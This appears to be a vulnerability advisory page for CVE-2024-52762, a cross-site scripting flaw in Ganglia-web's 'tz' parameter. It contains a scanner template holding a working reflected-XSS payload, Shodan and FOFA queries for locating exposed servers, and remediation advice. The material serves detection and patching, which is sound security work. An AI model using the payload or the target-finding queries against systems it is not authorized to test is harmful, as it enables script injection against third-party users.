CVE-2024-52762: Ganglia Web Interface (v3.7.3 - v3.7.6) - Cross-Site Scripting

2025-08-01 Ganglia Web Interface PoC Public

Description

A cross-site scripting (XSS) vulnerability in the component /master/header.php of Ganglia-web v3.73 to v3.76 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the "tz" parameter.

PoC

id: CVE-2024-52762

info:
  name: Ganglia Web Interface (v3.7.3 - v3.7.6) - Cross-Site Scripting
  author: DhiyaneshDk,daffainfo
  severity: medium
  description: |
    A cross-site scripting (XSS) vulnerability in the component /master/header.php of Ganglia-web v3.73 to v3.76 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the "tz" parameter.
  impact: |
    Authenticated attackers can execute arbitrary JavaScript or HTML in victim browsers by injecting malicious payloads into the tz parameter.
  remediation: |
    Update Ganglia-web to version 3.7.7 or later to address the XSS vulnerability in the timezone parameter.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-52762
    cwe-id: CWE-79
    epss-score: 0.00736
    epss-percentile: 0.52982
    cpe: cpe:2.3:a:ganglia:ganglia-web:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ganglia
    product: ganglia-web
    shodan-query: http.html:"ganglia_form.submit()"
    fofa-query: body="ganglia_form.submit()"
  tags: cve,cve2024,ganglia,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ganglia/?tz=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>">'
          - 'ganglia_form.submit()'
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e517a633839574f3d4989ed33722a94c2f79712ffe04328a2c68bd72f69e5bfb0220077b25bf6efd16b64f1754e695bab92a71f69df906542273a72767fa8942e68a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities